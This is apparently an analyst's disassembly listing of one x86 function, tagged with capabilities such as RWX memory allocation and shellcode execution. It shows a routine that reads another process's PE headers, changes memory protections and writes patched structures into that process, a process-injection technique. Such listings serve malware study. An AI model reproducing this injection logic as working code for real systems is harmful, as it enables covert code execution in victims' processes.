Function at 0x10072bb8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
sub esp, 0x2d4
push ebx
push ebp
mov ebp, dword [esp + 0x2e0]
xor ebx, ebx
push esi
push ebp
mov dword [esp + 0x1a0], ebx
mov dword [esp + 0x1a4], ebx
mov dword [esp + 0x2e0], ebx
mov dword [esp + 0x194], 0x150
call fcn.10066c22
mov esi, eax
lea eax, [esp + 0x5c]
push 0x40
push ebx
push eax
mov dword [esp + 0x28], esi
call fcn.1007f880
add esp, 0x10
lea eax, [esp + 0x58]
push ebx
push 0x40
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x100730d5
push edi
push 0x10
pop ecx
lea esi, [esp + 0x5c]
mov eax, 0x5a4d
lea edi, [esp + 0x1a8]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x198], esi
cmp word [esp + 0x5c], ax
jne 0x100730d4
mov edi, 0xf8
lea eax, [esp + 0x9c]
push edi
push ebx
push eax
call fcn.1007f880
add esp, 0xc
lea eax, [esp + 0x9c]
push ebx
push edi
push eax
mov eax, dword [esp + 0xa4]
add eax, esi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x100730d4
cmp dword [esp + 0x9c], 0x4550
lea esi, [esp + 0x9c]
push 0x3e
pop ecx
lea edi, [esp + 0x1e8]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x98]
mov esi, dword [esp + 0x1c]
lea eax, [ecx + esi]
mov dword [esp + 0x19c], eax
jne 0x100730d4
cmp dword [esp + 0x11c], ebx
je 0x100730d4
movzx eax, word [esp + 0xb0]
add ecx, 0x18
add eax, ecx
mov dword [esp + 0x16c], ebx
xor ecx, ecx
mov dword [esp + 0x170], ebx
mov dword [esp + 0x18], ebx
cmp cx, word [esp + 0xa2]
jae 0x10072d73
lea edx, [eax + esi]
mov dword [esp + 0x14], edx
push 0xa
pop ecx
push ebx
xor eax, eax
lea edi, [esp + 0x38]
push 0x28
rep stosd dword es:[edi], eax
lea eax, [esp + 0x3c]
push eax
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x100730d4
cmp dword [esp + 0x174], ebx
jne 0x10072d53
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x11c], ecx
jb 0x10072d53
mov edx, dword [esp + 0x44]
lea eax, [edx + ecx]
cmp dword [esp + 0x11c], eax
jae 0x10072d53
mov dword [esp + 0x174], ecx
mov dword [esp + 0x178], edx
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
movzx eax, word [esp + 0xa2]
add edx, 0x28
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
cmp ecx, eax
jl 0x10072cfc
lea eax, [esp + 0x9c]
push eax
push esi
push ebp
call fcn.100660ba
movzx eax, ax
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x12c]
mov dword [esp + 0x20], eax
add eax, 0x424
push eax
mov dword [esp + 0x28], eax
call fcn.1007c983
mov edi, eax
add esp, 0x10
mov dword [esp + 0x30], edi
test edi, edi
je 0x100730d4
push dword [esp + 0x18]
push ebx
push edi
call fcn.1007f880
mov ecx, dword [esp + 0xc8]
mov eax, esi
add ecx, dword [esp + 0xcc]
add ecx, dword [esp + 0xc4]
add ecx, dword [esp + 0xd4]
push dword [esp + 0x24]
add ecx, esi
cmp esi, ecx
cmovb eax, ecx
push eax
push ebp
call fcn.10066b85
add esp, 0x18
mov dword [esp + 0x24], eax
test eax, eax
je 0x100730ca
lea eax, [esp + 0x10]
mov dword [esp + 0x10], ebx
push eax
mov eax, dword [esp + 0x120]
push 0x40
push dword [esp + 0x128]
add eax, esi
mov dword [esp + 0x1b0], ebx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x100730ca
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1a4], eax
mov eax, dword [esp + 0x24]
sub eax, esi
push ebx
push dword [esp + 0x124]
mov dword [esp + 0x30], eax
lea eax, [edi + 0x14]
push eax
mov eax, dword [esp + 0x128]
add eax, esi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x100730ca
mov edx, dword [esp + 0x14]
mov esi, getpeername
mov ecx, dword [esp + 0x2ec]
lea eax, [edx + 0x14]
add eax, dword [esp + 0x28]
mov dword [edi], eax
add eax, 8
mov dword [edx + edi + 0x14], esi
mov dword [edx + edi + 0x18], ebx
mov dword [edi + 0x10], eax
lea eax, [edx + 0x24]
add eax, dword [esp + 0x28]
mov dword [edx + edi + 0x1c], esi
mov esi, dword [esp + 0x1c]
mov dword [edx + edi + 0x20], ebx
mov edx, ecx
mov dword [edi + 0xc], eax
mov eax, dword [esp + 0x14]
add eax, 0x24
mov dword [edi + 4], ebx
sub eax, ecx
mov dword [edi + 8], ebx
add eax, edi
mov dword [esp + 0x20], eax
mov ebp, eax
mov al, byte [edx]
mov byte [edx + ebp], al
inc edx
test al, al
jne 0x10072ec0
mov ebp, dword [esp + 0x2e8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10072ed4
sub ecx, edx
push ebx
lea eax, [ecx + 4]
mov ecx, dword [esp + 0x18]
and eax, 0xfffffffc
add ecx, 0x24
add ecx, eax
push ecx
push edi
push dword [esp + 0x30]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebp
call edi
test eax, eax
je 0x100730ca
mov eax, dword [esp + 0x28]
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x120], eax
mov eax, dword [esp + 0x184]
test eax, eax
je 0x10072fbf
cmp dword [esp + 0x188], ebx
je 0x10072fbf
push ebx
lea edi, [eax + esi]
push 0x14
lea eax, [esp + 0x3c]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x100730ca
lea eax, [edi + 0x10]
mov dword [esp + 0x1a0], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x2e0], eax
and eax, 0xfffffffe
mov dword [esp + 0x44], eax
lea eax, [esp + 0x10]
push eax
push 4
push 0x14
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x100730ca
push ebx
push 0x14
lea eax, [esp + 0x3c]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100730ca
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push 0x14
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x100730ca
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x10]
push eax
push 0x40
push dword [esp + 0xf8]
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x100730ca
push ebx
xor eax, eax
push 0x40
mov word [esp + 0x80], ax
lea eax, [esp + 0x64]
push eax
push esi
push ebp
call edi
test eax, eax
je 0x100730ca
push ebx
push 0xf8
lea eax, [esp + 0xa4]
push eax
mov eax, dword [esp + 0xa4]
add eax, esi
push eax
push ebp
call edi
test eax, eax
je 0x100730ca
lea eax, [esp + 0x9c]
push eax
push esi
push ebp
call fcn.100660ba
mov ecx, dword [esp + 0x38]
add esp, 0xc
movzx eax, ax
mov dx, ax
mov dword [esp + 0x20], eax
cmp dx, cx
push ebx
sbb eax, eax
neg eax
add ax, cx
mov cx, word [esp + 0x7c]
sub dx, ax
cmp cx, dx
push 0x40
sbb eax, eax
neg eax
add ax, dx
sub cx, ax
lea eax, [esp + 0x64]
push eax
push esi
push ebp
mov word [esp + 0x8c], cx
call edi
test eax, eax
je 0x100730ca
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push dword [esp + 0xf8]
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x100730ca
lea eax, [esp + 0x9c]
push eax
push esi
push ebp
call fcn.100660ba
add esp, 0xc
cmp word [esp + 0x2c], ax
jne 0x100730ca
push 0x150
lea eax, [esp + 0x198]
push eax
push 0x100ad248
push ebp
call fcn.10076872
xor ecx, ecx
inc ecx
test eax, eax
cmovne ebx, ecx
push dword [esp + 0x30]
call fcn.1007c98c
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x2d4
ret